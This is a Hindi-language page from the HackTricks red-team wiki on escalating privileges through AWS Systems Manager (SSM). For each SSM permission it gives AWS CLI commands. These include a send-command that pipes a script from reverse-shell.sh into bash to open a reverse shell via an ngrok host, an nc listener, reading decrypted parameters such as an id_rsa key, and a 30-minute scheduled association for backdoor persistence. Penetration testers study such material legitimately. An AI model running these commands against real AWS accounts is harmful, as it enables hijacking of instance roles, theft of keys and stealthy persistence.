AWS - SSM Privesc
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
SSM
SSM के बारे में अधिक जानकारी के लिए देखें:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
एक हमलावर जिसके पास अनुमति ssm:SendCommand
है, वह Amazon SSM एजेंट चला रहे इंस्टेंस में कमांड निष्पादित कर सकता है और इसके अंदर चल रहे IAM भूमिका को समझौता कर सकता है।
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
यदि आप इस तकनीक का उपयोग पहले से समझौता किए गए EC2 इंस्टेंस के भीतर विशेषाधिकार बढ़ाने के लिए कर रहे हैं, तो आप बस निम्नलिखित के साथ स्थानीय रूप से रिव रिव शेल कैप्चर कर सकते हैं:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
संभावित प्रभाव: चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे प्रिवेस्क।
ssm:StartSession
एक हमलावर जिसके पास अनुमति ssm:StartSession
है, वह Amazon SSM एजेंट चला रहे उदाहरणों में SSH जैसी सत्र शुरू कर सकता है और इसके अंदर चल रही IAM भूमिका को समझौता कर सकता है।
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
सत्र शुरू करने के लिए आपको SessionManagerPlugin स्थापित करना होगा: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
संभावित प्रभाव: चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं तक सीधे प्रिवेस्क।
ECS के लिए प्रिवेस्क
जब ECS कार्य ExecuteCommand
सक्षम होते हैं, तो पर्याप्त अनुमतियों वाले उपयोगकर्ता ecs execute-command
का उपयोग करके कंटेनर के अंदर एक कमांड निष्पादित कर सकते हैं।
दस्तावेज़ के अनुसार, यह उस उपकरण के बीच एक सुरक्षित चैनल बनाकर किया जाता है जिसका उपयोग आप “exec“ कमांड शुरू करने के लिए करते हैं और लक्षित कंटेनर के साथ SSM सत्र प्रबंधक। (इस कार्य के लिए SSM सत्र प्रबंधक प्लगइन आवश्यक है)
इसलिए, ssm:StartSession
वाले उपयोगकर्ता उस विकल्प को सक्षम करके ECS कार्यों के अंदर एक शेल प्राप्त कर सकेंगे, बस यह चलाकर:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
संभावित प्रभाव: ExecuteCommand
सक्षम चल रहे कार्यों से जुड़े ECS
IAM भूमिकाओं तक सीधे प्रिवेस्क।
ssm:ResumeSession
एक हमलावर जिसके पास अनुमति ssm:ResumeSession
है, वह Amazon SSM एजेंट के साथ चल रहे उदाहरणों में SSH जैसी सत्र को फिर से शुरू कर सकता है जिसमें अविच्छेदित SSM सत्र स्थिति है और इसके अंदर चल रही IAM भूमिका को समझौता कर सकता है।
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
संभावित प्रभाव: चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे प्रिवेस्क और डिस्कनेक्टेड सत्रों के साथ SSM एजेंट।
ssm:DescribeParameters
, (ssm:GetParameter
| ssm:GetParameters
)
उपरोक्त अनुमतियों के साथ एक हमलावर SSM पैरामीटर की सूची बनाने और उन्हें स्पष्ट पाठ में पढ़ने में सक्षम होगा। इन पैरामीटर में आप अक्सर संवेदनशील जानकारी जैसे SSH कुंजी या API कुंजी पा सकते हैं।
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
संभावित प्रभाव: पैरामीटर के अंदर संवेदनशील जानकारी खोजें।
ssm:ListCommands
इस अनुमति के साथ एक हमलावर सभी कमांड की सूची बना सकता है जो भेजी गई हैं और उम्मीद है कि उन पर संवेदनशील जानकारी मिलेगी।
aws ssm list-commands
संभावित प्रभाव: कमांड लाइनों के अंदर संवेदनशील जानकारी खोजें।
ssm:GetCommandInvocation
, (ssm:ListCommandInvocations
| ssm:ListCommands
)
इन अनुमतियों के साथ एक हमलावर सभी कमांड की सूची बना सकता है और आउटपुट पढ़ सकता है जिससे उम्मीद है कि वह इसमें संवेदनशील जानकारी पाएगा।
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
संभावित प्रभाव: कमांड लाइनों के आउटपुट में संवेदनशील जानकारी खोजें।
ssm:CreateAssociation का उपयोग करना
एक हमलावर जिसके पास अनुमति ssm:CreateAssociation
है, वह EC2 इंस्टेंस पर कमांड स्वचालित रूप से निष्पादित करने के लिए एक State Manager Association बना सकता है जो SSM द्वारा प्रबंधित हैं। इन एसोसिएशनों को एक निश्चित अंतराल पर चलाने के लिए कॉन्फ़िगर किया जा सकता है, जिससे ये इंटरैक्टिव सत्रों के बिना बैकडोर जैसी स्थिरता के लिए उपयुक्त हो जाते हैं।
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
note
यह स्थायीता विधि तब तक काम करती है जब तक EC2 उदाहरण Systems Manager द्वारा प्रबंधित है, SSM एजेंट चल रहा है, और हमलावर के पास संघ बनाने की अनुमति है। यह इंटरैक्टिव सत्रों या स्पष्ट ssm:SendCommand अनुमतियों की आवश्यकता नहीं है। महत्वपूर्ण: --schedule-expression
पैरामीटर (जैसे, rate(30 minutes)
) को AWS के न्यूनतम अंतराल 30 मिनट का सम्मान करना चाहिए। तात्कालिक या एक बार के निष्पादन के लिए, --schedule-expression
को पूरी तरह से छोड़ दें — संघ निर्माण के बाद एक बार निष्पादित होगा।
Codebuild
आप SSM का उपयोग करके एक कोडबिल्ड प्रोजेक्ट में भी प्रवेश कर सकते हैं:
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।